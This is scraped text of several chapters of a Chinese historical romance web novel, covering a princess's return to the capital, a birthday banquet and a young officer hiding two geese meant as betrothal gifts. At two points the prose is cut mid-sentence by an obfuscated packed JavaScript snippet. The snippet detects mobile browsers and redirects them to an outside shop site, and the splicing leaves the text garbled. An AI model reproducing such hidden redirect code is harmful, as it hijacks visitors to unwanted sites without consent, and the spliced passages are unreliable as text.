秦熠诧异地看着坐在铁链软梯旁无所事事的李晏修,“你怎么下来了。” 李晏修站起身来,没有立刻回答秦熠的问题,而是恭敬地对祁婧惠拱手道:“启禀殿下,方才下官等人已经将铁梯子固定在山壁上,经过仔细检查,确保其稳固可靠,殿下尽可放心攀爬。” 祁婧惠微微颔首,“众将士辛苦了。” “殿下言重了。”李晏修再次行礼,退至一旁。 他看着长公主等人正在做攀爬铁梯的准备,便凑到秦熠身边轻声赞道:“你可真厉害!” 秦熠纳闷地看着他,“没头没尾的,你在说什么。” 李晏修没说话,只是笑着攀着秦熠的肩膀,仰头看着秦熠当初爬山崖时打上的铁钉。 方才他们这群人在山崖下闲着没事,就想着试试秦熠当初爬过的路。结果爬了不到十丈高就纷纷败下阵来,更有几人险些从山壁上摔落下来,真是万分惊险。 这还是他们在有秦熠打上的铁钉的情况下,简直无法想象当初空无一物时,秦熠是如何徒手爬上山崖的。 若是他们掉落下小谷村,恐怕也只能像村里的村民一样永远留在这里了。想到这里,李晏修心中对秦熠的佩服又多了几分。 秦熠顺着李晏修的目光往上看了一眼,再看看他们几人身上的狼狈与眼中的敬佩,心中便明白了几分。他笑了笑,胳膊肘拐了李晏修一下,“行了,上去再说吧。” 鉴于江老年事已高,行动不便,要返回崖顶,自然只能让秦熠背着爬上去。至于江老的药材用具,则是被仔细地整理好,让兵士们分摊着背上去。 为确长公主殿下和江神医安全无虞,在秦熠等人在去往小谷村接人的时候,李皓便让兵士们将铁梯固定在山壁上,还在沿途钉上了火把。 往上爬时,铁梯果然不再如下山时那般摇晃。沿途的火光照亮了他们前方的木板和铁链,除了需要耗费些许力气,攀爬的过程也没有之前那般惊险。 他们十分顺利地爬上了山崖。 李皓一直在山崖上焦急地等待着,当他看到所有人都平安无事地回来时,顿时松了一口气。 他的视线就落在了秦熠背上那位须发全白的老者身上,他连忙上前恭敬询问,“这位便是江神医吧?久仰大名,真没想到有幸能得一见。” 江思明在兵士们的搀扶下从秦熠背上下来,他的目光敏锐,一眼就看见李皓断裂的左臂。他顺手抓住李皓的右手,手指搭在脉搏上,探查一番。 片刻后,他微微点头,“还行,伤口正在愈合,就是气血有失,待老夫给你开个方子,喝几贴药补补便没事了。” “诶!多谢老神医。”李皓满脸笑容,连忙示意亲兵扶江老神医去临时驻扎的营帐休息。 他送走江老后,转头看着气喘吁吁的儿子和脸不红心不跳的秦熠,心中不禁轻啧一声,真没用,算了,老秦家祖坟冒青烟,比不得,比不得。 待祁婧惠稍作休息,李皓这才走上前,恭敬地请示:“殿下,接下来您有何打算?” 祁婧惠坐在火堆旁,那温暖的火光映照着她的脸庞,她转头望着江思明休息的帐篷,轻声道:“本宫答应了江神医,要将山崖底下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今日便是明安郡主十八岁生辰,清晨时皇城门口就停满了诰命夫人们的马车。 这些诰命夫人们个个精心打扮,身着华丽的服饰,头戴珍贵的首饰,脸上满是期待。 她们来得如此之早,不仅仅是因为帝后对明安郡主的重视,更是因为心中的好奇。 明安郡主的传奇轶事,近些时日已传遍了雁京城的大街小巷。就连茶楼内的说书先生,乐坊中的艺人皆在传颂着她的故事。如此传奇的人物,众人怎会不好奇。 然而雁京大乱初平,局势尚不稳定。加之嘉阳长公主不在京中,国公府必然不会准许明安郡主独自外出赴宴,故而无人敢贸然上门邀请。 如今有这般绝佳的机会能够得见这位雁京城中的风云人物,她们自然都早早前来,皆欲亲眼目睹明安郡主的风采。 夫人们在等候检查准备入宫时,宁玉瑶还在德清宫偏殿沉睡,她的面容恬静,呼吸均匀,似乎沉浸在美梦中。 房间里弥漫着淡淡的熏香,温暖宁静。 “无碍,让她们等着吧,这么大清早地跑进来,她们精神十足,没得让孩子也跟着受累的。”皇后坐在正殿中,语气平淡地下令,便无人敢去打扰明安郡主。 直到诚国公府的三个小娃儿进了宫,被宫女们带去叫宁玉瑶起身。 已经七岁的祁晖琅不再被允许进入宁玉瑶的寝房,只能可怜巴巴地坐在偏殿外的台阶上,眼睛时不时地望向寝房的门口,等着今日的寿星出来。 他听着寝房内小娃儿们一叠声的“姑姑”以及阿姐温柔哄他们的声音,心中的情绪越来越低落。他的小嘴往下撇,眼里委屈得仿佛快要哭出来。 就在这时,来给阿姐过生辰的祁晖珏,刚走到偏殿就看见弟弟那副酸溜溜的蠢样子。 他无奈地笑了笑,曲着手指敲了敲弟弟的脑门,垂眸看着矮墩墩的弟弟,轻声说道:“你一个长辈,跟晚辈计较,像什么样?” 这话说得祁晖琅一愣,他眨巴着眼睛,思考了片刻,恍然大悟,对啊,他是长辈!是那群小娃儿的表叔! 想到这里,他的心情立刻好了起来,脸上露出了得意的笑容,“谁说我跟他们计较了,一群表侄,身为表叔自然要让着他们!” 祁晖珏哼笑一声,今日是阿姐的好日子,就不揍弟弟了。 等宁玉瑶盛装打扮走出偏殿时,就看见一脸兴奋的祁晖琅和安静坐在院中等待的太子。 祁晖琅看到宁玉瑶出来,立刻跳了起来,跑到她身边,“阿姐,生辰快乐,你今天真漂亮!” 宁玉瑶微笑着摸了摸他的头,带着三个孩子走到祁晖珏身边,轻声问:“小五这是怎么了?” “来了三个表侄,他高兴呢。”祁晖珏无奈地说道。 宁玉瑶略微思索便明白了其中缘由。平日里在这宫中,小五祁晖可是年纪最小的那一个,不管是谁来了,都能成为他的长辈。 而其他臣子家像这般小的孩子,确实极少会被带进宫中。今日乍一见到有比他辈分低的孩子,他那点小心思全都写在脸上了。 “别管他。”祁晖珏起身带着宁玉瑶往外走去,“吉时将至,阿姐,我们先去找母后。” 118.生辰 定和殿中,袅袅香雾如霭霭轻云般缭绕弥漫。 案几上摆放着的瓜果酒水皆被盛放在精致的琉璃杯盏中,杯盏折射出的华彩,更增添了几分奢华之感。 盛装出席的夫人们,甫一进入殿内,便被案几上的瓜果吸引了目光。她们眼中满是惊奇之色,看着那些不符合时令的瓜果。 这些瓜果虽并非特别名贵的品种,然在这冰天雪地的深冬时节现身于此,背后所耗费的心力自不言而喻。 明安郡主实乃集万千宠爱于一身,每当她们为明安郡主的圣宠而惊叹之时,帝后皆会告知众人,此般恩宠尚还远远不够。 就连宫中的皇子公主都需避其锋芒。 有好事之人自以为行事隐蔽地悄然偷觑着坐在前列的福宁公主。 福宁公主乃陛下硕果仅存的公主,身份尊贵本应受尽尊崇,然而在这宫中的地位,竟远远比不上一位郡主,着实令人唏嘘。 年初这位公主大婚时都未曾有今日这般盛大排场。 虽说皆是依循礼制而行,但两相比较之下,此刻明安郡主所受的待遇,愈发衬得福宁公主落寞。 祁夕澜跟着母妃贤妃坐在前方,对那些或明或暗的目光只做不知,惬意地吃着这时节难得一见的新鲜瓜果。 她能够平安长大成人,已实属万幸,又承蒙父皇赐封号福宁,与雁京府尹的嫡次子成婚,婚后生活亦颇为愉悦惬意。 她深知自己这一生过得尚算顺遂如意,皆因她向来不存贪念,深谙知足之道,明了不争之理。 上一个贪心不足,争强好胜之人,如今只能在冷宫凄惨度日。她可不想重蹈覆辙,只想安然稳当地度过此生。 贤妃满意地看着女儿,见她并未被帝后对明安郡主的宠爱冲昏头脑,心中甚是欣慰。响鼓不用重锤,女儿的懂事让她无需过多地教育。 趁着皇后还未到,宴会尚未正式开始,贤妃关切地轻声问:“这些时日可曾吓着了?” 那场宫变,犹如一场噩梦,据说外面死了不少人,贤妃一直担心着女儿的安危,但后来淑妃薨逝,宫中事物纷繁杂乱,母女二人一直无暇坐下好好交谈。 祁夕澜握住贤妃的手,回答道:“母妃放心,那些时日女儿和驸马一直在府中闭门不出,叛军虽来势汹汹,但并未攻进来。府中一切安好,女儿也未曾受到惊吓。” “如此便好。”贤妃感慨地叹了口气,谁能想到一夕之间竟会有如此变故,那几日的厮杀声仿佛还在她耳边萦绕,让她至今仍心有余悸,寝食难安。 人这一生呐,平平安安便是极好,切勿贪求过多不属于自身之物,唯有如此,方能活得长久。 祁夕澜见母妃神色黯然,手上稍稍用力,贤妃连忙收起脸上的悲伤,换上喜庆的笑容。 母女俩默契地略过这个话题,轻声闲聊着一些家长里短的琐事。 在她们不远处,鉴于婆母嘉阳长公主不在京中,姜婉珍便得以与母亲坐在一处。 “怎么没带孩子过来?”姜母左右张望一番,轻声问道。 姜婉珍微微侧身,靠近母亲,“家翁让白珊姑姑带他们去陪玉瑶了。” 为了让玉瑶在今日生辰宴少受奔波劳顿之苦,皇后娘娘昨日便差遣白珊姑姑将玉瑶接入德清宫。 虽然她之前为玉瑶的生辰做的一番准备如今都未能派上用场,但陛下和娘娘对玉瑶如此重视,此乃莫大的荣耀,她的心中只有高兴。 姜母看着女儿脸上发自内心的笑容,亦满心欣慰。 女儿嫁了个好人家,夫家对她关爱有加,孩子们也都乖巧可爱,她想着,自己以后也可以安心合眼了。 吉时一至,在众人言笑晏晏的交谈声中,定和殿外的玉罄被敲响,殿内原本热闹的氛围瞬间归于寂静。 紧接着,内侍尖锐的声音在殿外高声唱道:“皇后娘娘驾到,太子殿下驾到。” 众夫人惊诧地对视一眼,太子怎么来了? 然而她们没时间交谈,皇后便带着两位皇子和明安郡主缓步走入定和殿。 皇后身着凤袍仪态端庄,两位皇子身姿挺拔跟随在皇后身侧,而明安郡主则如同众星捧月般被簇拥着。 众人齐齐跪地行礼,齐声高呼:“参见皇后娘娘,太子殿下。” “诸位夫人不必多礼。”皇后笑意盈盈地示意众人起身,随后带着祁晖珏和宁玉瑶走向主位落座。 夫人们重新坐下时,纷纷看向坐在皇后身侧的明安郡主。 只见她身着妃色月辉锦长裙,裙摆上绣着精致的花纹,头上戴着璀璨的珠宝头面,那些珠宝熠熠生辉,将她的面容衬托得更加明艳动人。 一年多未见,这在外历经诸多磨难的郡主,虽美貌如旧,明艳动人,然眉宇间已不见往昔的娇弱稚嫩,取而代之的是几分与嘉阳长公主相似的飒爽英姿。 她的眼眸中透露出坚毅神色,体态亦更为挺拔,举手投足之间都流露出从容的姿态,已不再是昔日那娇柔的少女模样,宛如一朵在风雨中绽放得愈发绚烂的花朵,让人难以将目光从她身上移开。 众夫人再看太子言行举止间对明安郡主所表现出的敬重与亲昵,以及五皇子在明安郡主面前言听计从的模样。 不由思绪万千,太子今日是特意前来为明安郡主庆贺生辰的。看来即便将来太子登上皇位,这位明安郡主的圣宠也不会断绝。 不过也是,去年郡主为了救太子生死不明,众人皆有所耳闻。 就凭这一份救命之恩,明安郡主便能获得一份优待,更何况明安郡主之后还深入苍荻带回了重要证物。 那些证物对于大宸来说极为重要,郡主这份功劳不可小觑。只要太子并非忘恩负义之辈,明安郡主将来的日子都不会太差。 想到这里,家中有适婚儿郎的主母们,不由自主地看向了自从进了太和殿就一直安静端坐着极尽低调的秦老夫人婆媳,心中羡慕不已。 秦家可真是好福气,明安郡主这么一尊金雕玉琢的娃娃,竟被秦家娶回了家。 虽然两家尚未正式下定,但在明安郡主和秦都司未传出生还消息时,那些消息灵通的人家皆已知晓两家正准备合婚的事情。 如今二人平安回来,只怕等嘉阳长公主回京,这门婚事就会被提上议程。 不过此事她们羡慕不来,自家人知自家事,这些主母们对自己儿子有几斤几两都一清二楚。 她们家的臭小子,莫说像秦家小子那般从苍荻的围追堵截中逃出来,就连最初太子遇刺那样的危险局面,恐怕都难以存活下来,更何况还要带着手无缚鸡之力的郡主一同逃生。 难怪秦家小子年纪轻轻就战功赫赫,在战场上屡立奇功,那是有真本事,比不得,比不得。 对于周遭若有似无的视线,秦家婆媳仿若未觉,依旧不动如山。 莫说现在两家还未正式下定,就算将来两个孩子成婚了,她们心中也早有打算,从未想过要借着明安郡主的势力来为自家谋取什么好处。 今日她们来到此处,可不是为了在众人面前显摆炫耀,她们是真心实意地来祝贺郡主生辰的。 皇后亦将秦家婆媳的表现尽收眼底,她满意地移开视线,方才开口道:“近日来,朝中诸事纷繁复杂,京中局势亦是变幻莫测,人心惶惶。恰在此时,明安平安归来,加之宫中的腊梅近日也开得正好,本宫见此美景,便想着邀诸位一同进宫赏花,共赏这冬日里的一抹亮色。也巧了,今日正是明安的生辰,这般巧合,真真是良辰吉日。” 下首的夫人们听闻,连忙笑着附和道:“娘娘所言极是,如此良辰美景,正应好好欣赏一番才是。” 说什么赏花,赏花不过是个由头罢了,郡主的生辰才是最重要的。 待皇后的一番话说完,宁玉瑶将宁家的三孩子交给身旁的宫女,轻声嘱咐几句后,便站起身来。 她对着众夫人微微福身,脸上带着恰到好处的笑 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“陛下,秧州八百里加急,嘉阳长公主已率军将苍荻驱逐出境。”传令兵站在书案下方禀报,不等屋内大臣们高兴起来,他又接着说道,“前些时日,殿下调集大批火药,强行炸开了金禹关。” 此语一出,大臣们顿时哗然一片。 “嘉阳长公主为何如此冒进!”一位大臣皱着眉头,满脸担忧地说道。 “用火药炸城,如此损耗太过巨大。”另一位大臣紧接着附和。 众臣纷纷进言,言语中都是对嘉阳长公主炸城强行入关的不赞成,御书房内顿时热闹起来。 武将们也都眉头紧蹙,在他们看来,行军打仗最为注重的是排兵布阵,策略与战术的运用乃是重中之重。像这般粗暴行事,除去那些生性残暴的将领之外,没有人会做出如此有伤天和之事。 但秦柏示意他们切勿多言,武将们便都按耐下来,只是心中依旧疑惑不满。 承武帝没有出声,他凝视着悬挂在御书房中宁玉瑶二人带回来的苍荻舆图。 他看得分明,金禹关后面就是启宁镇,必然是秦熠无法绕过金禹关,阿姐才会如此急切。 既然阿姐是为了他才如此大动干戈,承武帝自然不会让阿姐担下骂名。 他轻咳几声,待御书房内安静下来,才轻声道:“此事是朕下的旨意,长公主只是奉旨行事罢了。” 众大臣听到陛下如此说,心中虽仍有疑虑,但也不敢再妄议长公主殿下。 他们看着承武帝削瘦虚弱的脸,心中情绪复杂难明。陛下龙体欠安,每况愈下,而苍荻在大宸精心设下的种种阴谋诡计更是让陛下大动肝火。 看着陛下愈发虚弱的龙体,再瞧瞧上首那几位稳如泰山不动声色的一品大员,有些聪明之人已然看出了些许端倪。 对于炸关之事无人再敢置喙。 议事结束后,大臣们陆续退出御书房。 有相熟的大臣拉住秦柏,“秦将军,陛下……” “慎言,”秦柏制止他未尽之言,叹了口气,拍着他的肩膀道,“稍安勿躁,再过些时日便知道了。” 那人便知此事暂时不是他该知晓的,不再继续追问,只是心中的忧虑并未减轻,脚步沉重地离开了。 秦柏与落后一步出来的宁渊对视一眼,两人眼中都闪过一丝忧虑,心中不约而同地想到,希望长公主殿下一切顺利。 从秧州到雁京,官道每年都会定期进行修整,故而路面还算平整。 祁婧惠一行人尽管心急如焚地想要疾行赶路,又不得不顾及江老神医的身体,怕老人家经不起路途的折腾,只能无奈地让马车缓慢前行。 这一路,为了能尽快抵达雁京,众人几乎是拼尽全力。每日都是天不亮就出发,直至夜幕深沉才停歇。除了必要的睡觉时间,他们基本没有从马背上下来过。 如此这般奔波了五日,可即便如此,他们也才堪堪走过三分之一的路程。 119.大雁 又是一天傍晚时分,夕阳的余晖将天边染成一片橙红,众人停在掖州境内的官道边进行短暂休整。 去岁掖州大旱,举目望去尽是枯树与黄土,大地一片死寂。然而,仅仅一年时光流转,枯树萌发出新芽,黄土也被青草所覆盖。 尽管现下已至深冬时节,树叶纷纷凋落,草木亦变得枯黄,但相较于去年大旱时那生机全然断绝的景象,此刻却呈现出一种截然不同的状态,这是一种虽然萧瑟却生机焕发的生命轮回之感。 秦秀灵坐在祁婧惠身侧,听着江老神医回忆当初郡主和秦熠在小谷村的那些往事。她听得颇为入神,不经意间,眼睛的余光瞥见秦熠手中握着两只活物,悄然走向江老的马车,而后鬼鬼祟祟地爬进了车内。 她顿时心生好奇,于是悄悄起身,脚步轻轻地靠近马车。紧接着,她猛地将马车的车帘掀开,却见车内的秦熠正一脸无奈地看着她。 秦熠无奈道:“阿姐,你大可不必如此小心翼翼,我听到你的脚步声了。” “哼,”秦秀灵自然知道弟弟听力敏锐,她再怎么小心也瞒不过他,她只是一时兴起想要逗弄他一番罢了,既然未能得逞,便权当此事未曾发生。她直接问道:“你鬼鬼祟祟跑江老这里来干什么?” 说着,秦秀灵瞧见了秦熠手中两只受伤的鸟,微微挑眉,调侃道:“要给江老开小灶?那也没必要这么偷偷摸摸的,我们又不会与老神医抢。” “阿姐,你除了吃,能不能想点别的?”秦熠瞥了她一眼,而后从马车的暗格处熟练地取出一瓶外伤药,轻柔地涂抹在鸟的翅膀上。他仔细地察看鸟的状况,见鸟还算精神,这才稍稍松了口气。 秦秀灵借着马车内昏暗的烛光,这才看清楚,原来这竟是两只受伤的大雁,这下让她惊讶不已。 原本以为这一路行程匆忙,众人皆在不停地赶路,况且天气严寒,大雁理应绝迹,本认为之前秦熠对祖母所言要猎获大雁之事已无法达成,未料想竟真被他猎到了一对。 “这时节掖州怎么还有大雁?”秦秀灵好奇地拉开大雁的翅膀仔细看了看,不得不说,秦熠这小子箭术着实了得,大雁只是翅膀上擦破了一点皮,并不算严重,伤口处的血迹已经有些干涸。 “不知道,估计是落单的。”秦熠上好药后,美滋滋地摸着两只大雁,“兴许是老天都在帮我。” 秦秀灵嫌弃地看了一眼弟弟,撇了撇嘴说:“瞧你那点出息。” 秦熠却充耳不闻,他才不在乎姐姐的调侃。没出息就没出息,三书六聘怎么能少了大雁。要是这次没这么好的运气遇到两只落单的大雁,恐怕就要等到明年开春才能下聘了,他可不想等那么久。 就在两姐弟说话间,陆院正搀扶着江思明缓缓来到马车旁。秦熠见状,连忙跳下马车,手脚麻利地搬来踏具,殷勤地将江老扶上马车。 江思明和陆广维不禁诧异地看了他一眼,不知道他葫芦里到底卖的什么药。 直到江思明坐进马车,看见马车内的两只大雁,再闻到马车内弥漫着的伤药气味,瞬间明白了怎么回事。 他掀开大雁的翅羽仔细一看,顿时气得吹胡子瞪眼,手中的拐杖毫不留情地往秦熠身上敲去,“这这么点皮外伤还要用老夫这上好的伤药,真是暴殄天物!” 秦熠却不闪不避,依旧嬉皮笑脸地说:“江老消消气,这些时日您一个人坐马车多寂寞呀,我可是特地打两只大雁来陪您的。万一还没到雁京它们就伤重不治可就不好了,用点好药也不算浪费,您说是不是这个理儿。” 陆广维闻言侧目,师父怎么就独自了?他不是一直陪着师父吗? “强词夺理!”江思明冷哼一声,佯怒道,“老夫可不用这两只扁毛畜生陪,不如宰了炖汤喝。” 说着便示意陆广维把鸟抓了去炖鸟汤。 陆广维还没来得及动作,秦熠连忙讨饶:“江老,江老,您就饶了小子吧,这鸟放您这养些时日,您大人有大量,帮小子这一回。” 江思明近些时日已从陆广维处听闻秦熠的家世,以及秦、宁两家人的关系,对这两只大雁的用途自是了然于心。他更清楚秦熠这般偷偷摸摸地养着两只大雁,是怕嘉阳长公主知晓此事。 长公主近些时日本就因行程进展缓慢而忧心忡忡,倘若再得知秦熠整日惦记着她的女儿,估计秦熠得吃一顿排头。 不过,江思明觉得秦熠是过虑了,就凭秦熠对明安郡主的这份情意,长公主对他其实很是满意。但江思明也不打算提醒这小子,他倒是想看看这小子还能闹出什么花样来。 江思明敲了敲拐杖,故意板着脸说:“你勤快着来清扫马车,要是把马车弄脏了,你就等着吃鸟肉吧。” “诶!您尽管放心,小子肯定让您的马车干干净净的!”秦熠连忙拍着胸脯保证。 秦熠这般小心翼翼地养着两只大雁,自然瞒不过祁婧惠的眼睛。既然两个孩子有意,他们两家也早有默契,她也不会苛责秦熠,只是见秦熠这般欲盖弥彰的模样甚是有趣,她便佯装不知。 有了秦熠逗趣玩乐,他们原本焦躁的情绪平缓了许多。就这般匆忙赶路,终于在十二月初五正午时分,他们终于望见了雁京城那巍峨耸立的城门。 雁京城外的长亭内,宁玉瑶规规矩矩地坐在石凳上,不时担忧地瞧一眼身旁的承武帝。尽管寒风被周边林立的侍卫们阻挡在外,可她望着承武帝苍白的面容,心中总是忍不住担忧。舅舅苍白的脸在冬日的阳光下,愈发显得毫无血色。 她偷偷瞪了坐在另一侧的祁晖珏一眼,你怎么也不劝劝。 祁晖珏无辜地看着宁玉瑶,父皇决定的事我怎么可能劝得动。 承武帝好笑地看着两个孩子挤眉弄眼的模样,故意轻咳一声,果然,宁玉瑶的神色立即紧张起来,急忙问道:“舅舅,您怎么了?是不是不舒服?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019795|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“没事。”看见宁玉瑶担心的模样,承武帝心软,不再逗她。 “舅舅,您还是先行回宫吧,娘亲并不会在意这些的。”宁玉瑶不明白舅舅为何如此执着地要亲自前来迎接娘亲,明明娘亲向来不在意这些所谓的荣宠,在娘亲心中,只要舅舅身体康健便比任何事情都重要。 承武帝微笑着轻轻弹了一下宁玉瑶的额头,说道:“莫要胡思乱想,舅舅今日是以弟弟的身份来迎接自己的同胞姐姐的。你娘亲从未离开雁京如此之久,身为家人,怎会不担忧。” 宁玉瑶微微歪着头思索了片刻,又转头看向站在身后的爹爹和兄嫂。 昨日他们接到传信,得知娘亲今日便能归来,皆欣喜万分,当即开始筹备今日出城迎接之事,却未料到了长亭竟发现舅舅和太子也在此等候。 既然皆是出于对家人的牵挂,宁玉瑶觉得舅舅所言在理,便不再规劝,只是伸出手为舅舅把了把脉。脉象虽显虚弱,但尚算平稳,她这才安下心来,眼睛忘向远方,耐心地等待着。 等到日上中天,阳光愈发耀眼,将整个长亭都照得明亮而温暖。侍卫匆匆来报,“启禀陛下,太子殿下,看到长公主殿下的车架了,约莫半个时辰后就能抵达。” 宁玉瑶此刻彻底按捺不住内心的急切,她蓦地站起身来,眼睛一眨不眨地望向远方,仿若如此便能即刻瞧见娘亲的身影。 然而,这般干等着实在是过于心焦,她眼珠一转,拽着承武帝的袖子轻声娇嗔道:“舅舅,瑶儿想去迎接娘亲。” 承武帝佯装不明其意道:“你此刻不正是在迎接吗?” “哎呀,舅舅,”宁玉瑶焦急地晃动着承武帝的手臂,“瑶儿并非此意,瑶儿想骑马前去迎接娘亲。” 看着宁玉瑶那急切的模样,承武帝不禁露出笑容,点头应允道:“去吧,带上侍卫。” “谢谢舅舅!”宁玉瑶欢呼一声,脸上绽放出灿烂的笑容。她站起身对宁渊说:“爹,瑶儿先去过去啦!” 既然承武帝御口批准,宁渊也不会再反对,他只是吩咐长子:“你陪着瑶儿。” 自宁玉瑶从苍荻归来之后,宁家人皆将她视作掌上明珠般珍视,唯恐一个不小心再度将她弄丢。 宁璟瑞赶紧应下,匆匆拍了拍妻子的手,便向承武帝请辞,快步跟上宁玉瑶。 宁玉瑶兴高采烈地披上一件纯白的雪貂披风,快速翻上她的霁月,不等周围的侍卫反应过来,她就双腿一夹马腹,向着官道冲去,像一阵风般迅速。 承武帝摇头看着侍卫们匆忙跟了上去,笑道:“这孩子,真是愈发活泼了。” 宁渊躬身请罪,“臣中年得女,难免娇惯了些。” “又不是你一人宠出来的。”承武帝摆摆手,脸上带着温和的笑容,“性子活泼不是什么坏事,瑶儿这样就很好。” 祁晖珏在旁笑而不语,要论宠阿姐,这些长辈可都是不分上下。 120.不悦 巍峨高耸的雁京城静静地矗立在前方,仿佛触手可及。 越是靠近雁京,秦熠越是急切,他恨不得立刻策马扬鞭冲回雁京。 但他谨记自己的职责,无论内心如何急切,他都护卫在江老的马车旁,不敢懈怠。 只是他不时就要打开马车车窗看看他的那两只大雁,惹得江思明烦不胜烦,之后他每开一次车窗,就被江思明用拐杖敲一次头。 “碰——” 秦熠迅速后仰,险些就被车窗拍到脸上。他悻悻地摸了摸鼻子,嘴里小声嘟囔着什么。随后唉声叹气地搂住马脖子,整个人趴在马背上。 “坐直!”秦秀灵驱马过来抽了弟弟一马鞭。 鞭子落在秦熠的裘皮斗篷上,秦熠是不痛不痒,但他不敢不听阿姐的话,迅速爬起来坐好。 可他安静了不到片刻,又坐立难安地想要去开马车的车窗,手刚碰到窗棱,里面就传来拐杖敲打的窗棱声音。 秦熠立即收回手,叹了气,伸长脖子看着不远处的雁京城。 忽然,秦熠脸上的神情凝滞,他双眸熠熠生辉,紧紧凝视着官道的方向,只见一道白色身影正骑着快马朝着此处疾速奔来。 那白色的身影踏着雪花翩然而至,使得秦熠的心不由自主地加快了跳动。 那一刻,他真想立刻策马迎上去,去迎接那个他心心念念的人。他的手不自觉地握住了缰绳,双腿微微用力,似乎就要驱使骏马飞奔而出。然而理智在这关键的时刻终究占据了主导地位,他硬生生忍住了内心的冲动。 秦秀灵一直关注着弟弟的一举一动,她看到秦熠脸上扭曲的表情,忍不住问道:“怎么了?中风了?” “没事。”秦熠随口糊弄道,驱马小跑至祁婧惠身侧,“启禀殿下,郡主往这边来了。” 祁婧惠心中是一阵欣喜,连忙策马沿着官道跑去。 而秦熠只能强忍着内心的躁动,他的眼睛一眨不眨地看着前方那抹白色倩影,仿佛整个世界都只剩下了那一个身影。 雪白的斗篷下摆随风飘动,寒风夹杂着细碎的雪花吹打在脸上,宁玉瑶却丝毫没觉得冷。她紧紧地盯着前方,已经能看见那条在雪地中蜿蜒前行的大军。 一道火红的身影从那支队伍中冲了出来,宁玉瑶看到那熟悉的身影,兴奋地用力夹了下马腹,骏马在雪地上飞驰。 宁玉瑶坐直身体,对着那个人影用力挥手大喊:“娘!” 宁璟瑞快速跑到她身边,伸出手,轻轻地护在宁玉瑶身旁,生怕她有任何闪失,叮嘱道:“抓紧缰绳,小心别摔着了。” 宁玉瑶听到哥哥的提醒,不敢再像刚才那样乱动,乖乖地双手紧紧抓住缰绳,但她脸上的笑容如同冬日里的暖阳愈发灿烂。 “娘!”快跑到祁婧惠身前时,宁玉瑶才缓缓勒住马,让霁月的速度逐渐慢下来,然后小心翼翼地靠近娘亲。 “你们怎么来了?”祁婧惠脱下手上的护具,轻轻地摸了摸宁玉瑶的颈侧,感觉到那里很暖和,这才放下心来。接着温柔地将女儿被风吹乱的兜帽戴好,嗔怪道:“这么冷的天,在家等娘便是,着凉了怎么办。” “女儿想娘亲了,”宁玉瑶撒娇道,“舅舅也来啦!就在城外长亭内等您呢。” 祁婧惠柳眉轻拧,无奈道:“怎么都不劝着点。” “您不在谁劝得了舅舅呀,”宁玉瑶笑着安抚娘亲,“您放心,舅舅没事,对了,娘,江老接回来了吗?” “接回来了,就在后面。”祁婧惠微笑着示意在身后队伍中的马车中。 “娘,我去看看江老。” “去吧。”祁婧惠含笑看着女儿踢了踢马腹,骏马再次奔跑起来,带着宁玉瑶往马车的方向跑去,只留下一串深深的马蹄印在雪地上。 宁玉瑶说要看看江老,半道上不由自主地就拐了个弯,朝着秦熠的方向奔去。他们朝夕相处了一年多的时间,骤然分开这么久,她对秦熠的想念就如同春日里疯长的野草,怎么也抑制不住。 “熠哥哥!”宁玉瑶欢快地喊道。 秦熠也早已迫不及待地迎了上来,然而现在已不是在苍荻的时候了,家人在侧,他们不能像之前那般放肆亲昵。他只能强忍着内心的冲动,围着宁玉瑶一个劲儿地傻笑。 “傻样,”宁玉瑶笑眼弯弯,她的目光从秦熠身上移开,看到了秦熠身后的劲装女子,连忙打招呼道:“秀灵姐姐。” 秦秀灵脸上带着笑意,“郡主安好,江老就在这边。” 说着带她来到一辆宽敞的马车前。 宁玉瑶满心欢喜地走到马车旁,抬手轻轻敲了敲窗檐,马车内传来一阵怒喝声:“再掀窗户,老夫把你这破鸟炖汤喝!” “江老!”宁玉瑶没有被这呵斥声吓到,她脸上依然挂着灿烂的笑容,打开车窗,笑眯眯地跟江思明打招呼。 江思明原本严肃的脸,在看见宁玉瑶的那一刻,瞬间柔和了下来。 宁玉瑶却好奇心大起,扒着车窗使劲往马车里面探,不停问着:“什么鸟?” 江思明目光一瞥,看见宁玉瑶身后的秦熠一直在拱手相求,便没好气地说道:“没什么,小孩子家家问那么多做什么。” 被江老训斥了,宁玉瑶也不放在心上,她依旧趴在车窗上,跟着马车慢慢地往前走。 看得一旁的秦熠担心不已,眼睛紧紧地盯着宁玉瑶,就怕她一个不小心摔下马去。 秦熠望了一眼前方,祁婧惠和宁璟瑞正专注地说着话,没有注意后面。他心中一动,赶紧靠近宁玉瑶,将她抱了起来,从马车车窗里塞了进去。 宁玉瑶在马车里滚了一圈,陆广维忙不迭地过来扶起她,宁玉瑶坐稳后,狠狠地瞪了秦熠一眼,随后她一转头,正好对上两只大雁。 大雁:“嘎嘎……” 秦熠:“……”糟糕。 宁玉瑶冰雪聪明,自然知道这大雁是做什么的,不过她装作不认识,伸手揪起一只大雁的翅膀,转过身,对着江思明笑嘻嘻地说道:“原来您说的鸟是这个呀,这么大的鸟,炖汤肯定不错。” 江思明颇为赞同地点了点头。 宁玉瑶见江思明点头,更是来了兴致。她将手中的大雁伸出窗外,故意提高了声音大声喊道:“来人,把它给本郡主炖了!” 秦熠听到宁玉瑶的喊声,赶紧接过大雁,迅速地塞到自己的披风下面,脸上堆满讨好的笑容,“这鸟不好吃,等明儿我去山上给你找几只野鸡,那玩意儿炖汤才香呢。” 他一边说着,一边探进马车,麻利地将另一只大雁也给抓了出来,紧紧地将两只大雁抱在怀里,就怕万一宁玉瑶真的想吃。 好在宁玉瑶也只是想逗逗秦熠,并不是真的要炖了这两只大雁。 